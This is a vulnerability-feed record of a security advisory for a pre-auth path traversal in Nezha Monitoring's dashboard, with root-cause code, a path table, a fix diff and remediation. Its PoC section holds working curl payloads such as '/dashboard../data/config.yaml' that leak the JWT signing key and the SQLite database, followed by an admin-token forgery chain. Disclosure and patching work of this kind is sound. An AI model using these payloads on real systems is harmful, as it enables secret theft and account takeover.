{"id":"CVE-2026-53519","title":"Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key","summary":"Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key","severity":"critical","cvss":9.1,"cwe":["CWE-22"],"vendor":"nezhahq","product":"github.com/nezhahq/nezha","ecosystem":"go","affected":["github.com/nezhahq/nezha < 2.0.13"],"patched":["github.com/nezhahq/nezha 2.0.13"],"published":"2026-06-26","updated":"2026-06-26","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-5c25-7vpj-9mqh","references":[{"url":"https://github.com/nezhahq/nezha/security/advisories/GHSA-5c25-7vpj-9mqh"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53519"},{"url":"https://github.com/advisories/GHSA-5c25-7vpj-9mqh"}],"tags":["ghsa","go","exploit-available"],"epss":0.01928,"epssPercentile":0.79091,"ingestedAt":"2026-06-29T13:24:35.081Z","exploits":{"github":2,"githubRepos":["https://github.com/tar-xz/CVE-2026-53519-PoC","https://github.com/ivanesk315/CVE-2026-53519"],"nuclei":["CVE-2026-53519"],"checkedAt":"2026-09-23T07:14:14.446Z"},"exploitAvailable":true,"slug":"CVE-2026-53519","body":"## Overview\n\n### Summary\n`fallbackToFrontend` in the dashboard's `NoRoute` handler treats any URL whose **raw string** starts with `/dashboard` as an admin-frontend asset request. The check uses `strings.HasPrefix`, not a path-segment match, so the input `/dashboard../data/config.yaml` is accepted; `strings.TrimPrefix` leaves `../data/config.yaml`; and `path.Join(\"admin-dist\", \"../data/config.yaml\")` normalizes to `data/config.yaml` — which `os.Stat` finds and `http.ServeFile` returns. No authentication required.\n \nIn default deployments (the values shipped in `model/config.go` and the layout shipped in the project `Dockerfile`) `data/config.yaml` contains the HS256 `jwt_secret_key` used by `cmd/dashboard/controller/jwt.go` to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user — full dashboard takeover from one GET request.\n\n### Details\n## Root cause\n \n```go\n// cmd/dashboard/controller/controller.go @ 636f4a9\n387:    fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path)\n388:    if strings.HasPrefix(c.Request.URL.Path, \"/dashboard\") {\n389:        stripPath := strings.TrimPrefix(c.Request.URL.Path, \"/dashboard\")\n390:        localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)\n391:        if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {\n392:            return\n393:        }\n```\n \n```go\n// cmd/dashboard/controller/controller.go @ 636f4a9\n322: func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) {\n323:     checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {\n324:         if _, err := os.Stat(path); err == nil {\n325:             http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)\n326:             return true\n327:         }\n```\n \n`fallbackToFrontend` is wired as the catch-all at `cmd/dashboard/controller/controller.go:157` — `r.NoRoute(fallbackToFrontend(frontendDist))` — so every URL not matched by an earlier route reaches it, including pre-auth.\n \n### Path math (verified, see appendix)\n \n| Input `URL.Path` | `TrimPrefix(..., \"/dashboard\")` | `path.Join(\"admin-dist\", ...)` | Reachable file |\n|---|---|---|---|\n| `/dashboard/login` | `/login` | `admin-dist/login` | legitimate, intended |\n| `/dashboard/../data/config.yaml` | `/../data/config.yaml` | `data/config.yaml` | **but blocked by Go `http.ServeFile`'s URL `..`-segment guard → 400** |\n| `/dashboard../data/config.yaml` | `../data/config.yaml` | `data/config.yaml` | **served, 200** |\n| `/dashboard%2e%2e/data/config.yaml` | `../data/config.yaml` (decoded) | `data/config.yaml` | **served, 200** |\n| `/dashboard..%2fdata/config.yaml` | `../data/config.yaml` (decoded) | `data/config.yaml` | **served, 200** |\n \nThe negative control (`/dashboard/../data/config.yaml`) lands at the same on-disk path after `path.Join`, but is rejected by `http.ServeFile` because Go's stdlib enforces a URL-level traversal guard that fires when the **request URL** itself contains a standalone `..` segment. The bypass works because in `/dashboard../...` the first URL segment is the single token `dashboard..` — no standalone `..` — so the stdlib guard does not trigger. The traversal segment is **created after `TrimPrefix`**, downstream of every defense.\n \n### Why the existing defenses miss\n \n1. The prefix check is a substring test on the raw URL string, not a segment test. `dashboard` and `dashboard..` are both accepted.\n2. `path.Join` silently `Clean`s the result — so the `..` is consumed correctly to escape `admin-dist`, with no error returned to indicate escape.\n3. Go's `http.ServeFile` stdlib guard fires only on URLs with a standalone `..` segment (per `net/http.containsDotDot`). The payload puts the dots inside the first segment instead.\n4. No anchored \"is this still under the template root?\" check exists after `path.Join`.\n\n## PoC\n### Setup\n \n```text\nTARGET:        github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef\nHARNESS:       stdlib-only port — see Appendix A\nWORKDIR:       tmpdir containing admin-dist/, user-dist/, data/config.yaml, data/sqlite.db\nTIME-TO-REPRO: first request\n```\n \nThe harness plants this `data/config.yaml`:\n \n```yaml\ndebug: false\nlisten_port: 8008\nlanguage: en_US\njwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE\nagent_secret_key: REPRO_AGENT_SECRET_VALUE\nsite:\n  brand: nezha-repro\n```\n \n### Observed responses\n \n**Primary payload — pre-auth secret disclosure:**\n \n```bash\ncurl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml'\n```\n \n```text\nHTTP/1.1 200 OK\nAccept-Ranges: bytes\nContent-Length: 167\nContent-Type: application/yaml\nLast-Modified: Sun, 24 May 2026 12:16:23 GMT\nDate: Sun, 24 May 2026 12:16:25 GMT\n \ndebug: false\nlisten_port: 8008\nlanguage: en_US\njwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE\nagent_secret_key: REPRO_AGENT_SECRET_VALUE\nsite:\n  brand: nezha-repro\n```\n \n**Negative control — Go stdlib guard rejects the canonical form:**\n \n```bash\ncurl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard/../data/config.yaml'\n```\n \n```text\nHTTP/1.1 400 Bad Request\nContent-Type: text/plain; charset=utf-8\n \ninvalid URL path\n```\n \n**Encoded-dot variant — bypass also works:**\n \n```bash\ncurl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml'\n```\n \n```text\nHTTP/1.1 200 OK\nContent-Length: 167\nContent-Type: application/yaml\n[... full config.yaml including jwt_secret_key ...]\n```\n \n**Encoded-slash variant — bypass also works:**\n \n```bash\ncurl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard..%2fdata/config.yaml'\n```\n \n```text\nHTTP/1.1 200 OK\nContent-Length: 167\nContent-Type: application/yaml\n[... full config.yaml including jwt_secret_key ...]\n```\n \n**Double-encoded — confirms the bypass requires single-level encoding:**\n \n```bash\ncurl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml'\n```\n \n```text\nHTTP/1.1 200 OK\nContent-Length: 30\nContent-Type: text/html; charset=utf-8\n \n<html>admin frontend OK</html>\n```\n \nThe literal `%252e%252e` does not decode to `..`, so the path becomes `admin-dist/%2e%2e/data/config.yaml` (no escape), `os.Stat` fails, and the handler falls through to serving `admin-dist/index.html` — no secret disclosure.\n \n**Encoded leading slash — also blocked at the stdlib layer:**\n \n```bash\ncurl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml'\n```\n \n```text\nHTTP/1.1 400 Bad Request\n \ninvalid URL path\n```\n \n**SQLite database exfil — same primitive:**\n \n```bash\ncurl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db'\n```\n \n```text\nHTTP/1.1 200 OK\nContent-Length: 42\n \nSQLITE_FORMAT_3_FAKE_DB_CONTENT_REPRO_ONLY\n```\n \n### Sanity checks\n \n- Normal `/dashboard/` request still serves `admin-dist/index.html` with HTTP 200 — the bypass does not regress legitimate behavior.\n- Requests to `/api/...` still hit the JSON-404 branch — the bypass is isolated to the `/dashboard` fallback.\n\n\n## Impact\n### Direct primitive\nUnauth read of any file in the dashboard's working directory subtree reachable by escaping `admin-dist` one level. In default deployments that includes:\n \n| File | Default path | Why it matters |\n|---|---|---|\n| `data/config.yaml` | from `-c` flag default (`cmd/dashboard/main.go:104`) | Contains `jwt_secret_key` (signing key, **HS256**), `agent_secret_key`, OAuth2 client secrets, GitHub release token, GeoIP API key, and any custom secrets |\n| `data/sqlite.db` | from `-db` flag default (`cmd/dashboard/main.go:105`) | Full dashboard state: users (incl. admin), bcrypt password hashes, server registry, API tokens, notification configs |\n \n### Chain to administrative account takeover (verified path)\n \n1. **Read config** — `GET /dashboard../data/config.yaml` returns plaintext YAML containing `jwt_secret_key`.\n2. **Read database** — `GET /dashboard../data/sqlite.db` returns the SQLite file; an attacker opens it and reads the `users` table to recover admin user IDs (and any other claims the JWT references).\n3. **Forge a JWT** — the dashboard's JWT middleware at `cmd/dashboard/controller/jwt.go:22,27` is wired with:\n   ```go\n   Key:              []byte(singleton.Conf.JWTSecretKey),\n   SigningAlgorithm: \"HS256\",\n   CookieName:       \"nz-jwt\",\n   IdentityKey:      model.CtxKeyAuthorizedUser,\n   ```\n   HS256 is symmetric — possession of the key is sufficient to sign tokens that pass verification. An attacker mints a token whose `user_id` claim matches the admin user from step 2 and attaches it as the `nz-jwt` cookie (or `Authorization: Bearer ...`).\n4. **Operate as admin** — every admin handler (`adminHandler` chain) now accepts the forged session, granting CRUD on servers, users, cron tasks, notifications, and OAuth2 settings.\nThe chain is fully deterministic against a default-configured dashboard: two unauth HTTP GETs and a JWT signing operation, no race, no user interaction, no special timing.\n## Suggested fix\n \nMake the prefix test segment-aware and reject paths whose cleaned form escapes the template root **before** any filesystem call. Minimal diff:\n \n```diff\n- if strings.HasPrefix(c.Request.URL.Path, \"/dashboard\") {\n-     stripPath := strings.TrimPrefix(c.Request.URL.Path, \"/dashboard\")\n+ if c.Request.URL.Path == \"/dashboard/\" || strings.HasPrefix(c.Request.URL.Path, \"/dashboard/\") {\n+     stripPath := strings.TrimPrefix(c.Request.URL.Path, \"/dashboard/\")\n+     cleanPath := path.Clean(\"/\" + stripPath)\n+     if cleanPath == \"..\" || strings.HasPrefix(cleanPath, \"../\") || strings.Contains(cleanPath, \"/../\") {\n+         c.JSON(http.StatusNotFound, newErrorResponse(errors.New(\"404 Not Found\")))\n+         return\n+     }\n      localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)\n```\n \nThe `/dashboard` -> `/dashboard/` redirect at line 382 already exists, so requiring the trailing slash is safe and aligns with the regexes in `frontendPageUrlRegistry`.\n \nThe same hardening should be applied to the user-template branch (lines 399–405), which uses the same `path.Join` pattern with `singleton.Conf.UserTemplate`. While the `/dashboard` prefix-confusion vector doesn't hit it directly, any future code change that hands a controlled `URL.Path` to that branch would re-introduce the same primitive.\n \nA defense-in-depth alternative is to replace the local `os.Stat + http.ServeFile` branch with a `http.FileServer(http.FS(subFS))` rooted at the embedded `admin-dist` subdirectory, which keeps the embedded-FS contract and removes the working-directory escape entirely.\n\n## Affected packages\n\n- `github.com/nezhahq/nezha < 2.0.13`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/nezhahq/nezha 2.0.13`","depth":"abyssal","depthScore":62,"depthScoreParts":{"impact":50.1,"likelihood":0.4,"exploitation":12,"ransomware":0},"changes":[{"seq":5324,"id":"CVE-2026-53519","ts":1788887266034,"field":"exploit_available","old":"false","new":"true"},{"seq":4207,"id":"CVE-2026-53519","ts":1788886380640,"field":"exploit_available","old":"true","new":"false"},{"seq":2966,"id":"CVE-2026-53519","ts":1788883045598,"field":"exploit_available","old":"false","new":"true"},{"seq":1995,"id":"CVE-2026-53519","ts":1788882449831,"field":"exploit_available","old":"true","new":"false"},{"seq":1071,"id":"CVE-2026-53519","ts":1788881886013,"field":"exploit_available","old":"false","new":"true"}]}